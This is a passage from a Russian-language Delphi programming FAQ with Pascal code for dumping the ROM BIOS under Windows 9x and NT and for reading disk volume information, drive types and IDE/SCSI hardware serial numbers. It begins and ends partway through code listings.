    _psh_cs: $0E;
    _pop_ds: $1F;
    _mov_dx: ($BA, $00, $00);
    _mov_09: ($B4, $09);
    _int_21: ($CD, $21);
    _mov_4C: ($B8, $01, $4C);
    _int_20: ($CD, $21);
    );
    code: (_mov_cx: $B9; BlockCount: $0010;
    _mov_dx: $BA; DatSegment: $F000;
    _jcx_1C: ($E3, $1C)
    );
    loop: (_psh_cx: $51;
    _psh_dx: $52;
    _mov_ds: ($8E, $DA);
    _mov_dx: $BA; DatOffset: $0000;
    _mov_cx: ($B9, Lo(BlockSize), Hi(BlockSize));
    _mov_bx: ($BB, $01, $00);
    _mov_ax: ($B8, $00, $40);
    _int_21: ($CD, $21);
    _pop_dx: $5A;
    _pop_cx: $59;
    _jcf_1C: ($72, $1C);
    _add_dx: ($81, $C2, Lo(BlockSize shr 4), Hi(BlockSize shr 4));
    _lop_E4: ($E2, $E4)
    );
    rest: (_mov_ds: ($8E, $DA);
    _mov_dx: $BA; DatOffset: $0000;
    _mov_cx: $B9; LenghtMod: $0000;
    _mov_bx: ($BB, $01, $00);
    _mov_ax: ($B8, $00, $40);
    _jcx_06: ($E3, $06);
    _int_21: ($CD, $21);
    _jcf_02: ($72, $02);
    _mov_al: ($B0, $00)
    );
    Exit: (_mov_ah: ($B4, $4C);
    _int_21: ($CD, $21)
    )
    );
begin
  Result := False;
  if (RomSize > 0) and (RomSize <= $100000) and
    (Cardinal(RomBase) < $100000) and
    (Cardinal(RomBase) + RomSize <= $100000) then
  begin
    Size := SizeOf(TRomDumpCode);
    Code := Pointer(LocalAlloc(LPTR, Size));
    if Code <> nil then
      try
        PRomDumpCode(Code)^ := RomDumpCode;
        with PRomDumpCode(Code)^ do
        begin
          code.BlockCount := Word(RomSize div BlockSize);
          code.DatSegment := Word(Cardinal(RomBase) shr 4);
          loop.DatOffset  := Word(Cardinal(RomBase)) and $000F;
          rest.DatOffset  := loop.DatOffset;
          rest.LenghtMod  := Word(RomSize mod BlockSize);
        end;
        Result := True;
      except
        LocalFree(HLOCAL(Code));
        Code := nil;
        Size := 0;
      end;
  end;
end;

function _SaveRomDumpCodeToFile(RomBase: Pointer; RomSize: Cardinal;
  const FileName: string): Boolean;
var
  Code: Pointer;
  Size: Cardinal;
  Hand: THandle;
  Num: DWORD;
begin
  Result := False;
  if _RomDumpCode(RomBase, RomSize, Code, Size) then
    try
      Hand := CreateFile(PChar(FileName), GENERIC_WRITE, FILE_SHARE_READ, nil,
        CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
      if Hand <> INVALID_HANDLE_VALUE then
        try
          Result := WriteFile(Hand, Code^, Size, Num, nil) and (Num = Size);
          if not Result then
            DeleteFile(PChar(FileName));
        finally
          CloseHandle(Hand);
        end;
    finally
      LocalFree(HLOCAL(Code));
    end;
end;

function _ExecuteRomDumpCode(const Code, Dump: string; Timeout: DWORD): Boolean;
var
  ComSpec: string;
  StartInfo: TStartupInfo;
  ProcInfo: TProcessInformation;
  ErrorMode: Cardinal;
begin
  Result := False;
  SetLength(ComSpec, MAX_PATH + 1);
  SetLength(ComSpec,
    GetEnvironmentVariable('ComSpec', PChar(@ComSpec[1]), MAX_PATH));
  if Length(ComSpec) <= 0 then
    Exit;
  FillChar(StartInfo, SizeOf(TStartupInfo), 0);
  StartInfo.cb := SizeOf(TStartupInfo);
  StartInfo.dwFlags := STARTF_USESHOWWINDOW;
  StartInfo.wShowWindow := SW_HIDE;
  ErrorMode := SetErrorMode(SEM_FAILCRITICALERRORS or SEM_NOGPFAULTERRORBOX or
    SEM_NOALIGNMENTFAULTEXCEPT or SEM_NOOPENFILEERRORBOX);
  try
    if CreateProcess(nil, PChar(ComSpec + ' /C ' + Code + ' > ' + Dump),
      nil, nil, False, HIGH_PRIORITY_CLASS, nil, nil, StartInfo, ProcInfo) then
      try
        Result :=
          (WaitForSingleObject(ProcInfo.hProcess, Timeout) <> WAIT_TIMEOUT);
        if not Result then
          TerminateProcess(ProcInfo.hProcess, STATUS_TIMEOUT);
      finally
        CloseHandle(ProcInfo.hThread);
        CloseHandle(ProcInfo.hProcess);
      end;
  finally
    SetErrorMode(ErrorMode);
  end;
end;

function DumpRomBios16(RomBase: Pointer; RomSize: Cardinal; var Dump;
  Timeout: DWORD): Boolean;
var
  Tmp: array [0..MAX_PATH] of Char;
  Dmp: array [0..MAX_PATH] of Char;
  Exe: array [0..MAX_PATH] of Char;
  Hnd: THandle;
  Num: DWORD;
begin
  Result := False;
  if GetTempPath(MAX_PATH, Tmp) > 0 then
    GetShortPathName(Tmp, Tmp, MAX_PATH)
  else
    lstrcpy(Tmp, '.');
  if GetTempFileName(Tmp, 'rom', 0, Dmp) > 0 then
    try
      lstrcpy(Exe, Dmp);
      lstrcat(Exe, '.exe');  // Win9x requires .EXE extention
      if _SaveRomDumpCodeToFile(RomBase, RomSize, Exe) then
        try
          if _ExecuteRomDumpCode(Exe, Dmp, Timeout) then
          begin
            Hnd := CreateFile(Dmp, GENERIC_READ, FILE_SHARE_READ or
              FILE_SHARE_WRITE, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
            if Hnd <> INVALID_HANDLE_VALUE then
              try
                Result := ReadFile(Hnd, Dump, RomSize, Num, nil) and (Num = RomSize);
              finally
                CloseHandle(Hnd);
              end;
          end;
        finally
          DeleteFile(Exe);
        end;
    finally
      DeleteFile(Dmp);
    end;
end;

////////////////////////////////////////////////////////////////////////////////
//
//  DumpRomBios9x (rdmMemory)
//
//    Win9x maps the BIOS into every process - therefore it's directly accessed.
//

function DumpRomBios9x(RomBase: Pointer; RomSize: Cardinal; var Dump): Boolean;
begin
  Result := False;
  try
    Move(RomBase^, Dump, RomSize);
    Result := True;
  except
    // ignore exeptions
  end
end;

////////////////////////////////////////////////////////////////////////////////
//
//  DumpRomBiosNt (rdmPhysical)
//
//    On WinNT the BIOS is accessable through section '\Device\PhysicalMemory'.
//    This object can only be opened by members of local 'Adminstrators' group.
//    ZwOpenSection and RtlNtStatusToDosError are documented in newer MSDN/DDK.
//

type
  NTSTATUS = Integer;

  PUnicodeString = ^TUnicodeString;
  TUnicodeString = packed record
    Length: Word;
    MaximumLength: Word;
    Buffer: PWideChar;
  end;

  PObjectAttributes = ^TObjectAttributes;
  TObjectAttributes = record
    Length: ULONG;
    RootDirectory: THandle;
    ObjectName: PUnicodeString;
    Attributes: ULONG;
    SecurityDescriptor: PSecurityDescriptor;
    SecurityQualityOfService: PSecurityQualityOfService;
  end;

  TFNZwOpenSection = function(out Section: THandle; Access: ACCESS_MASK;
    Attributes: PObjectAttributes): NTSTATUS;
  stdcall;
  TFNRtlNtStatusToDosError = function(Status: NTSTATUS): DWORD;
  stdcall;

const
  PhysMemDevName = '\Device\PhysicalMemory';
  PhysMemName: TUnicodeString = (Length: Length(PhysMemDevName) * SizeOf(WideChar);
    MaximumLength: Length(PhysMemDevName) * SizeOf(WideChar) + SizeOf(WideChar);
    Buffer: PhysMemDevName;
    );
  PhysMemMask: ACCESS_MASK = SECTION_MAP_READ;
  PhysMemAttr: TObjectAttributes = (Length: SizeOf(TObjectAttributes);
    RootDirectory: 0;
    ObjectName: @PhysMemName;
    Attributes: $00000040;  // OBJ_CASE_INSENSITIVE
    SecurityDescriptor: nil;
    SecurityQualityOfService: nil;
    );

var
  ZwOpenSection: TFNZwOpenSection;
  RtlNtStatusToDosError: TFNRtlNtStatusToDosError;

function DumpRomBiosNt(RomBase: Pointer; RomSize: Cardinal; var Dump): Boolean;
var
  HMod: HMODULE;
  Stat: NTSTATUS;
  Sect: THandle;
  View: Pointer;
begin
  Result := False;
  HMod   := GetModuleHandle('ntdll.dll');
  if HMod = 0 then
    SetLastError(ERROR_CALL_NOT_IMPLEMENTED)
  else
  begin
    if not Assigned(ZwOpenSection) then
      ZwOpenSection := GetProcAddress(HMod, 'ZwOpenSection');
    if not Assigned(RtlNtStatusToDosError) then
      RtlNtStatusToDosError := GetProcAddress(HMod, 'RtlNtStatusToDosError');
    if not Assigned(ZwOpenSection) or not Assigned(RtlNtStatusToDosError) then
      SetLastError(ERROR_CALL_NOT_IMPLEMENTED)
    else
    begin
      Stat := ZwOpenSection(Sect, PhysMemMask, @PhysMemAttr);
      if Stat >= 0 then
        try
          View := MapViewOfFile(Sect, PhysMemMask, 0, Cardinal(RomBase), RomSize);
          if View <> nil then
            try
              Move(View^, Dump, RomSize);
              Result := True;
            finally
              UnmapViewOfFile(View);
            end;
        finally
          CloseHandle(Sect);
        end
      else
        SetLastError(RtlNtStatusToDosError(Stat));
    end;
  end;
end;

////////////////////////////////////////////////////////////////////////////////
//
//  DumpRomBios(Ex)
//
//    Public functions to call OS-dependent implementations.
//

function DumpRomBios(out Dump: TRomBiosDump;
  Method: TRomDumpMethod = rdmAutomatic; Timeout: DWORD = 5000): Boolean;
begin
  Result := DumpRomBiosEx(Pointer(RomBiosDumpBase), RomBiosDumpSize, Dump,
    Method, Timeout);
end;

function DumpRomBiosEx(RomBase: Pointer; RomSize: Cardinal; out Dump;
  Method: TRomDumpMethod = rdmAutomatic; Timeout: DWORD = 5000): Boolean;
begin
  Result := False;
  case Method of
    rdmAutomatic:
      if (GetVersion() and $80000000) <> 0 then
        Result := DumpRomBios9x(RomBase, RomSize, Dump)
      else
        begin
          Result := DumpRomBiosNt(RomBase, RomSize, Dump);
          if not Result then
            DumpRomBios16(RomBase, RomSize, Dump, DWORD(Timeout));
        end;
      rdmGeneric:
      Result := DumpRomBios16(RomBase, RomSize, Dump, DWORD(Timeout));
    rdmMemory:
      Result := DumpRomBios9x(RomBase, RomSize, Dump);
    rdmPhysical:
      Result := DumpRomBiosNt(RomBase, RomSize, Dump);
    else
      SetLastError(ERROR_INVALID_PARAMETER);
  end;
end;

////////////////////////////////////////////////////////////////////////////////
//
//  ReadRomDumpBuffer(Ex) / GetRomDumpAddr(Ex)
//
//    Utilities to simplify the access to dumps.
//

procedure ReadRomDumpBuffer(const Dump: TRomBiosDump; Addr: Pointer;
  var Buffer; Size: Cardinal);
begin
  Move(Dump[Cardinal(Addr)], Buffer, Size);
end;

procedure ReadRomDumpBufferEx(const Dump; Base, Addr: Pointer;
  var Buffer; Size: Cardinal);
begin
  Move(Pointer(Cardinal(@Dump) + Cardinal(Addr) - Cardinal(Base))^,
    Buffer, Size);
end;

function GetRomDumpAddr(const Dump: TRomBiosDump; Addr: Pointer): Pointer;
begin
  Result := @Dump[Cardinal(Addr)];
end;

function GetRomDumpAddrEx(const Dump; Base, Addr: Pointer): Pointer;
begin
  Result := Pointer(Cardinal(@Dump) + Cardinal(Addr) - Cardinal(Base));
end;

end.
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Диски

Cодержание раздела:

Как получить инфу о жестком диске?
Как форматировать диск?
Как узнать, находится ли дискета в дисководе? Updated!
Как сделать виртуальный диск?
Можно ли удалять из списка TDriveComboBox диски которые отключены?
Прочитать boot сектор
Управление метками томов дисков New!
Как заблокировать доступ к дисководу? New!


Как получить инфу о жестком диске?

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение сведений о диске (метка/имя диска, файловая система, серийный номер)

Получение информации о любом диске.
Работает на FDD, HDD, CD, другие не пробовал.

Создайте модуль с именем HDDInfo и полностью скопируйте в него весь текст.

Зависимости: Все Windows (32S,95,NT)
Автор: cyborg, cyborg1979@newmail.ru, ICQ:114205759, Бузулук
Copyright: Собственное написание (Осипов Евгений Анатольевич)
Дата: 23 мая 2002 г.
***************************************************** }

unit HDDInfo;

interface

Uses Windows;

Const {Константы для TypeOfDisk функции GetDisks}
DiskUnknown=0; {Неизвестные диски}
DiskNone=1; {Отсутствующие диски}
DiskFDD=DRIVE_REMOVABLE; {Съёмные диски, дискеты}
DiskHDD=DRIVE_FIXED; {Не съёиные диски, жёсткие диски}
DiskNet=DRIVE_REMOTE; {Сетевые диски}
DiskCDROM=DRIVE_CDROM; {CD ROM}
DiskRAM=DRIVE_RAMDISK; {Диски в ОЗУ}

{Получить имена нужных дисков}
function GetDisks(TypeOfDisk : Word) : String;

{Функция получения информации о диске (HDD,FDD,CD) с буквой Disk}
{
Передаваемые значения:
Disk - Буква диска

Получаемые значения:
VolumeName - Метка/Имя тома
FileSystemName - Файловая система
VolumeSerialNo - Серийный номер диска (можно привязывать к диску программы)
MaxComponentLength - Максимальная длинна имени файла
FileSystemFlags - Флаги смотрите в справке Delphi по GetVolumeInformation

Функция возвращает true, если всё прошло успешно (диск нашёлся),
и false, если возникли проблемы, например диска нет в дисководе,
либо дисковода такого вообще нет
}
Function GetHDDInfo(Disk : Char;Var VolumeName, FileSystemName : String;
Var VolumeSerialNo, MaxComponentLength, FileSystemFlags:LongWord) : Boolean;

implementation

function GetDisks(TypeOfDisk : Word) : String;{Получить имена нужных дисков}
var
  DriveArray : array[1..26] of Char;
  I : integer;
begin
DriveArray:='ABCDEFGHIJKLMNOPQRSTUVWXYZ';
for I := 1 to 26 do
  if GetDriveType(PChar(DriveArray[I]+':\')) = TypeOfDisk then
    Result := Result+DriveArray[I];
end;

Function GetHDDInfo(Disk : Char;Var VolumeName, FileSystemName : String;
  Var VolumeSerialNo, MaxComponentLength, FileSystemFlags:LongWord) : Boolean;
  Var
_VolumeName,_FileSystemName:array [0..MAX_PATH-1] of Char;
_VolumeSerialNo,_MaxComponentLength,_FileSystemFlags:LongWord;
Begin
if GetVolumeInformation(PChar(Disk+':\'),_VolumeName,MAX_PATH,@_VolumeSerialNo,
   _MaxComponentLength,_FileSystemFlags,_FileSystemName,MAX_PATH) then
Begin
VolumeName:=_VolumeName;
VolumeSerialNo:=_VolumeSerialNo;
MaxComponentLength:=_MaxComponentLength;
FileSystemFlags:=_FileSystemFlags;
FileSystemName:=_FileSystemName;
Result:=True;
End
else
  Result:=False;
End;
end.

Пример использования:

USES ..., ..., ..., HDDInfo; {Добавляем наш модуль}

{Нужно создать на форме компонент TLabel , Name которого ставим в Disks}
{И в событии главной формы OnActicate написать это:}

procedure TMyForm.FormActivate(Sender: TObject);
Var
S,SOut : String;
I : Integer;
VolumeName,FileSystemName : String;
VolumeSerialNo,MaxComponentLength,FileSystemFlags:LongWord;
begin
S:=GetDisks(DiskHDD); {Получаем список Жёстких дисков (Параметр DiskHDD)}
SOut:='';
For I:=1 to Length(S) do {Получаем информацию о всех дисках и пишем в TLabel на форме}
Begin
{Если диск существует/вставлен ...}
if GetHDDInfo(S[I], VolumeName, FileSystemName, VolumeSerialNo,
MaxComponentLength, FileSystemFlags) then {... тогда собираем информацию}
SOut:=SOut+
'Диск: '+S[I]+#13#10+
'Метка: '+VolumeName+#13#10+
'Файловая система: '+FileSystemName+#13+#10+
'Серийный номер: '+IntToHex(VolumeSerialNo,8)+#13+#10+
'Макс. длина имени файла: '+IntToStr(MaxComponentLength)+#13+#10+
'Flags: '+IntToHex(FileSystemFlags,4)+#13#10+#13#10;
End;
Disks.Caption:=SOut; {Выводим в компонент TLabel полученные данные о дисках}
end;

Автор: Pegas

Взято с Vingrad.ru http://forum.vingrad.ru

Присутствует неточность в топике "Как получить инфу о жестком диске?". Неточность заключается в том, что функция "GetVolumeInformation" выдает совершенно разный номер диска под системами 9х и NT. Я долго бился над этой проблемой т. к. в своей программе привязываются к номеру в своей программе для определения какой диск вставил пользователь. Пару раз задавал этот вопрос в форумах, но ответа так и не получил. Но недавно я нашел решение этой проблемы. Вот код моей функции для корректного определения серийного номера диска под любой ОС:

function SirealNumberDisk(disk: string): string;
// Определяем серийный номер диска
var
  VolumeName         : array [0..MAX_PATH-1] of Char;
  FileSystemName     : array [0..MAX_PATH-1] of Char;
  VolumeSerialNo     : DWord;
  MaxComponentLength : DWord;
  FileSystemFlags    : DWord;

  function GetReplaceCDNumber(num: String): String;
  var
    i, len: Integer;
  begin
    Result:= '';
    len:= Length(num);
    if len <> 8 then exit;
    for i:= 1 to (len div 2) do begin
       Dec(len);
       Result:= Result + num[len    ];
       Result:= Result + num[len + 1];
       Dec(len);
    end;
  end;

begin
  GetVolumeInformation(PChar(disk), VolumeName, MAX_PATH, @VolumeSerialNo, MaxComponentLength,
FileSystemFlags, FileSystemName, MAX_PATH);
  Result:= IntToHex(Integer(VolumeSerialNo), 8);
  if Win32Platform <> VER_PLATFORM_WIN32_NT then
    Result:= GetReplaceCDNumber(Result);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  Label1.Caption:= SirealNumberDisk('f:\');
end;

Автор: Alex&Co
Сайт: http://alex-co.com.ru


Cуществует ли диск в системе?

function DriveExists (Drive: Byte) : boolean;
begin
  Result := Boolean (GetLogicalDrives and (1 shl Drive));
end;

procedure TForm1.Button1Click(Sender : TObject);
  var Drive : byte;
begin
for Drive := 0 to 25 do
  If DriveExists (Drive) then
begin
ListBox1.Items.Add (Chr(Drive+$41));
end;
end;

Автор Serious
Взято с Vingrad.ru http://forum.vingrad.ru


Информация о логических дисках

Теперь об информации о дисках:

исчерпывающую информацию по этому поводу дает функция GetVolumeInformation,
посмотри help, там все понятно (там и серийный номер диска, и тип файловой системы, и прочее и прочее).

Вот параметры FileSysFlags:

FS_CASE_IS_PRESERVED - (при записи на диск сохраняется регистр букв в его имени)
FS_CASE_SENSITIVE - (поддерживается поиск файлов с учетом регистра букв)
FS_UNICODE_STORED_ON_DISK - (поддерживается сохранение имен файлов в UniCode)
FS_PERSISTENT_ACLS - (поддерживаются списки контроля доступа (ACL). Только для NTFS)
FS_FILE_COMPRESSION - (поддерживается сжатие файлов на уровне системы)
FS_VOL_IS_COMPRESSED - (устройство представляет собой сжатый диск)

Определение типа диска:

function GetDriveType (Drive : byte) : string;
  var
    DriveLetter : Char;
    DriveType : uInt;
begin
DriveLetter := Char (Drive + $41);
DriveType := GetDriveType (PChar(DriveLetter + ':\'));
case DriveType of
0: Result := '?';
1: Result := 'Path does not exists';
Drive_Removable: Result := 'Removable';
Drive_Fixed: Result := 'Fixed';
Drive_Remote: Result := 'Remote';
Drive_CDROM: Result := 'CD-ROM';
Drive_RamDisk: Result := 'RAMDisk'
else Result := 'Unknown';
end;
end;

Может так попробовать:

procedure TMainForm.btnGetHandleClick(Sender: TObject);
var DriveHandle : HWND;
begin
case Win32Platform of
  VER_PLATFORM_WIN32_NT:
    begin
      DriveHandle := CreateFile ('\\.\Scsi0:', GENERIC_READ+GENERIC_WRITE,
                                FILE_SHARE_READ+FILE_SHARE_WRITE, nil,
                                OPEN_EXISTING, 0, 0);
      if DriveHandle <> INVALID_HANDLE_VALUE then
        MessageBox (MainForm.Handle, PChar(IntToStr(DriveHandle)),
                   PChar('Here is your handle:'), MB_ICONINFORMATION)
      else
         MessageBox (MainForm.Handle, PChar('Error!'), PChar('Error'),
                     MB_ICONERROR);
    end;
  VER_PLATFORM_WIN32_WINDOWS:
begin
  DriveHandle := CreateFile ('\\.\SMARTVSD', 0, 0, nil, CREATE_NEW, 0, 0 );
  if DriveHandle <> INVALID_HANDLE_VALUE then
    MessageBox (MainForm.Handle, PChar(IntToStr(DriveHandle)),
                PChar('Here is your handle:'), MB_ICONINFORMATION)
  else
    MessageBox (MainForm.Handle, PChar('Error!'), PChar('Error'), MB_ICONERROR);
end;
end; // case
end;

Автор Serious
Взято с Vingrad.ru http://forum.vingrad.ru


Информация о физических дисках

Посмотри функцию DeviceIoControl - может там что получиться. Я ее мало использовал, но что-то там было.

Там есть ссылка на CreateFile - эта функция под NT может действительно вернуть хэндл на физический диск.

You can use the CreateFile function to open a disk drive or a partition on a disk drive. The function returns a handle to the disk device; that handle can be used with the DeviceIOControl function.

Автор AntonSaburov
Взято с Vingrad.ru http://forum.vingrad.ru

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Поличение серийного номера IDE диска.

Функция получает серийный номер первого физического диска IDE (не серийный номер тома!).
Используется S.M.A.R.T. API, а под Windows NT/2K/XP запрос производится не напрямую к диску, а через miniport драйвер контроллера, что позволяет читать серийный номер не имея прав администратора.
Функция может не работать, если первый контролер в системе не ATA или если первое устройство не является винчестером, который поддерживает SMART (современные винчестеры поддерживают).
Если Вы хотите получить другие параметры диска/других дисков, то смотрите пример IdeInfo2 с моего сайта.
На Windows 9x требует наличия драйвера smartvsd.vxd (должен быть в стандартной поставке), просто скопируйте его в \windows\system\iosubsys и перезагрузите компьютер.

Зависимости: Windows, SysUtils
Автор: Alex Konshin, akonshin@earthlink.net, Boston, USA
Copyright: http://home.earthlink.net/~akonshin/index.htm
Дата: 30 декабря 2002 г.
***************************************************** }

function GetIdeDiskSerialNumber : String;
type
  TSrbIoControl = packed record
    HeaderLength : ULONG;
    Signature : Array[0..7] of Char;
    Timeout : ULONG;
    ControlCode : ULONG;
    ReturnCode : ULONG;
    Length : ULONG;
  end;
  SRB_IO_CONTROL = TSrbIoControl;
  PSrbIoControl = ^TSrbIoControl;

  TIDERegs = packed record
    bFeaturesReg : Byte; // Used for specifying SMART "commands".
    bSectorCountReg : Byte; // IDE sector count register
    bSectorNumberReg : Byte; // IDE sector number register
    bCylLowReg : Byte; // IDE low order cylinder value
    bCylHighReg : Byte; // IDE high order cylinder value
    bDriveHeadReg : Byte; // IDE drive/head register
    bCommandReg : Byte; // Actual IDE command.
    bReserved : Byte; // reserved for future use. Must be zero.
  end;
  IDEREGS = TIDERegs;
  PIDERegs = ^TIDERegs;

  TSendCmdInParams = packed record
    cBufferSize : DWORD; // Buffer size in bytes
    irDriveRegs : TIDERegs; // Structure with drive register values.
    bDriveNumber : Byte; // Physical drive number to send command to (0,1,2,3).
    bReserved : Array[0..2] of Byte; // Reserved for future expansion.
    dwReserved : Array[0..3] of DWORD; // For future use.
    bBuffer : Array[0..0] of Byte; // Input buffer.
  end;
  SENDCMDINPARAMS = TSendCmdInParams;
  PSendCmdInParams = ^TSendCmdInParams;

  TIdSector = packed record
    wGenConfig : Word;
    wNumCyls : Word;
    wReserved : Word;
    wNumHeads : Word;
    wBytesPerTrack : Word;
    wBytesPerSector : Word;
    wSectorsPerTrack : Word;
    wVendorUnique : Array[0..2] of Word;
    sSerialNumber : Array[0..19] of Char;
    wBufferType : Word;
    wBufferSize : Word;
    wECCSize : Word;
    sFirmwareRev : Array[0..7] of Char;
    sModelNumber : Array[0..39] of Char;
    wMoreVendorUnique : Word;
    wDoubleWordIO : Word;
    wCapabilities : Word;
    wReserved1 : Word;
    wPIOTiming : Word;
    wDMATiming : Word;
    wBS : Word;
    wNumCurrentCyls : Word;
    wNumCurrentHeads : Word;
    wNumCurrentSectorsPerTrack : Word;
    ulCurrentSectorCapacity : ULONG;
    wMultSectorStuff : Word;
    ulTotalAddressableSectors : ULONG;
    wSingleWordDMA : Word;
    wMultiWordDMA : Word;
    bReserved : Array[0..127] of Byte;
  end;
  PIdSector = ^TIdSector;

const
  IDE_ID_FUNCTION = $EC;
  IDENTIFY_BUFFER_SIZE = 512;
  DFP_RECEIVE_DRIVE_DATA = $0007c088;
  IOCTL_SCSI_MINIPORT = $0004d008;
  IOCTL_SCSI_MINIPORT_IDENTIFY = $001b0501;
  DataSize = sizeof(TSendCmdInParams)-1+IDENTIFY_BUFFER_SIZE;
  BufferSize = SizeOf(SRB_IO_CONTROL)+DataSize;
  W9xBufferSize = IDENTIFY_BUFFER_SIZE+16;
var
  hDevice : THandle;
  cbBytesReturned : DWORD;
  pInData : PSendCmdInParams;
  pOutData : Pointer; // PSendCmdInParams;
  Buffer : Array[0..BufferSize-1] of Byte;
  srbControl : TSrbIoControl absolute Buffer;

  procedure ChangeByteOrder( var Data; Size : Integer );
  var ptr : PChar;
      i : Integer;
      c : Char;
  begin
    ptr := @Data;
    for i := 0 to (Size shr 1)-1 do
    begin
      c := ptr^;
      ptr^ := (ptr+1)^;
      (ptr+1)^ := c;
      Inc(ptr,2);
    end;
  end;

begin
  Result := '';
  FillChar(Buffer,BufferSize,#0);
  if Win32Platform=VER_PLATFORM_WIN32_NT then
    begin // Windows NT, Windows 2000
      // Get SCSI port handle
      hDevice := CreateFile( '\\.\Scsi0:', GENERIC_READ or GENERIC_WRITE,
        FILE_SHARE_READ or FILE_SHARE_WRITE, nil, OPEN_EXISTING, 0, 0 );
      if hDevice=INVALID_HANDLE_VALUE then Exit;
      try
        srbControl.HeaderLength := SizeOf(SRB_IO_CONTROL);
        System.Move('SCSIDISK',srbControl.Signature,8);
        srbControl.Timeout := 2;
        srbControl.Length := DataSize;
        srbControl.ControlCode := IOCTL_SCSI_MINIPORT_IDENTIFY;
        pInData := PSendCmdInParams(PChar(@Buffer)+SizeOf(SRB_IO_CONTROL));
        pOutData := pInData;
        with pInData^ do
        begin
          cBufferSize := IDENTIFY_BUFFER_SIZE;
          bDriveNumber := 0;
          with irDriveRegs do
          begin
            bFeaturesReg := 0;
            bSectorCountReg := 1;
            bSectorNumberReg := 1;
            bCylLowReg := 0;
            bCylHighReg := 0;
            bDriveHeadReg := $A0;
            bCommandReg := IDE_ID_FUNCTION;
          end;
        end;
        if not DeviceIoControl( hDevice, IOCTL_SCSI_MINIPORT, @Buffer,
          BufferSize, @Buffer, BufferSize, cbBytesReturned, nil ) then Exit;
      finally
        CloseHandle(hDevice);
      end;
    end
  else
    begin // Windows 95 OSR2, Windows 98
      hDevice := CreateFile( '\\.\SMARTVSD', 0, 0, nil, CREATE_NEW, 0, 0 );
      if hDevice=INVALID_HANDLE_VALUE then Exit;
      try
        pInData := PSendCmdInParams(@Buffer);
        pOutData := PChar(@pInData^.bBuffer);
        with pInData^ do
        begin
          cBufferSize := IDENTIFY_BUFFER_SIZE;
          bDriveNumber := 0;
          with irDriveRegs do
          begin
            bFeaturesReg := 0;
            bSectorCountReg := 1;
            bSectorNumberReg := 1;
            bCylLowReg := 0;
            bCylHighReg := 0;
            bDriveHeadReg := $A0;
            bCommandReg := IDE_ID_FUNCTION;
          end;
        end;
        if not DeviceIoControl( hDevice, DFP_RECEIVE_DRIVE_DATA, pInData,
           SizeOf(TSendCmdInParams)-1, pOutData, W9xBufferSize,
           cbBytesReturned, nil ) then Exit;
      finally
        CloseHandle(hDevice);
      end;
    end;
    with PIdSector(PChar(pOutData)+16)^ do
    begin
      ChangeByteOrder(sSerialNumber,SizeOf(sSerialNumber));
      SetString(Result,sSerialNumber,SizeOf(sSerialNumber));
    end;
end;

Пример использования:

var s : String;
    rc : DWORD;
begin
  s := GetIdeDiskSerialNumber;
  if s='' then
    begin
      rc := GetLastError;
      if rc=0 then WriteLn('IDE drive is not support SMART feature')
      else WriteLn(SysErrorMessage(rc));
    end
  else WriteLn('Disk serial number: ''', s,'''');
end.

Автор: Alex Konshin, akonshin@earthlink.net, Boston, USA


Как получить инфу о SCSI дисках?

program ScsiSN;

// PURPOSE: Simple console application that display SCSI harddisk serial number

{$APPTYPE CONSOLE}

uses
  Windows, SysUtils;

//-------------------------------------------------------------

function GetDeviceHandle(sDeviceName: string): THandle;
begin
  Result := CreateFile(PChar('\\.\' + sDeviceName),
    GENERIC_READ or GENERIC_WRITE,
    FILE_SHARE_READ or FILE_SHARE_WRITE,
    nil, OPEN_EXISTING, 0, 0)
end;

//-------------------------------------------------------------

function ScsiHddSerialNumber(DeviceHandle: THandle): string;
{$ALIGN ON}
type
  TScsiPassThrough = record
    Length: Word;
    ScsiStatus: Byte;
    PathId: Byte;
    TargetId: Byte;
    Lun: Byte;
    CdbLength: Byte;
    SenseInfoLength: Byte;
    DataIn: Byte;
    DataTransferLength: ULONG;
    TimeOutValue: ULONG;
    DataBufferOffset: DWORD;
    SenseInfoOffset: ULONG;
    Cdb: array[0..15] of Byte;
  end;
  TScsiPassThroughWithBuffers = record
    spt: TScsiPassThrough;
    bSenseBuf: array[0..31] of Byte;
    bDataBuf: array[0..191] of Byte;
  end;
  {ALIGN OFF}
var
  dwReturned: DWORD;
  len: DWORD;
  Buffer: array[0..SizeOf(TScsiPassThroughWithBuffers) +
  SizeOf(TScsiPassThrough) - 1] of Byte;
  sptwb: TScsiPassThroughWithBuffers absolute Buffer;
begin
  Result := '';
  FillChar(Buffer, SizeOf(Buffer), #0);
  with sptwb.spt do
  begin
    Length := SizeOf(TScsiPassThrough);
    CdbLength := 6; // CDB6GENERIC_LENGTH
    SenseInfoLength := 24;
    DataIn := 1; // SCSI_IOCTL_DATA_IN
    DataTransferLength := 192;
    TimeOutValue := 2;
    DataBufferOffset := PChar(@sptwb.bDataBuf) - PChar(@sptwb);
    SenseInfoOffset := PChar(@sptwb.bSenseBuf) - PChar(@sptwb);
    Cdb[0] := $12; // OperationCode := SCSIOP_INQUIRY;
    Cdb[1] := $01; // Flags := CDB_INQUIRY_EVPD;  Vital product data
    Cdb[2] := $80; // PageCode            Unit serial number
    Cdb[4] := 192; // AllocationLength
  end;
  len := sptwb.spt.DataBufferOffset + sptwb.spt.DataTransferLength;
  if DeviceIoControl(DeviceHandle, $0004D004, @sptwb, SizeOf(TScsiPassThrough),
    @sptwb, len, dwReturned, nil)
    and ((PChar(@sptwb.bDataBuf) + 1)^ = #$80) then
    SetString(Result, PChar(@sptwb.bDataBuf) + 4,
      Ord((PChar(@sptwb.bDataBuf) + 3)^));
end;

//=============================================================
var
  hDevice: THandle = 0;
  sSerNum, sDeviceName: string;

begin
  sDeviceName := ParamStr(1);
  if sDeviceName = '' then
  begin
    WriteLn;
    WriteLn('Display SCSI-2 device serial number.');
    WriteLn;
    WriteLn('Using:');
    WriteLn;
    if Win32Platform = VER_PLATFORM_WIN32_NT then // Windows NT/2000
      WriteLn('  ScsiSN PhysicalDrive0')
    else
      WriteLn('  ScsiSN C:');
    WriteLn('  ScsiSN Cdrom0');
    WriteLn('  ScsiSN Tape0');
    WriteLn;
    Exit;
  end;
  hDevice := GetDeviceHandle(sDeviceName);
  if hDevice = INVALID_HANDLE_VALUE then
    WriteLn('Error on GetDeviceHandle: ', SysErrorMessage(GetLastError))
  else
  try
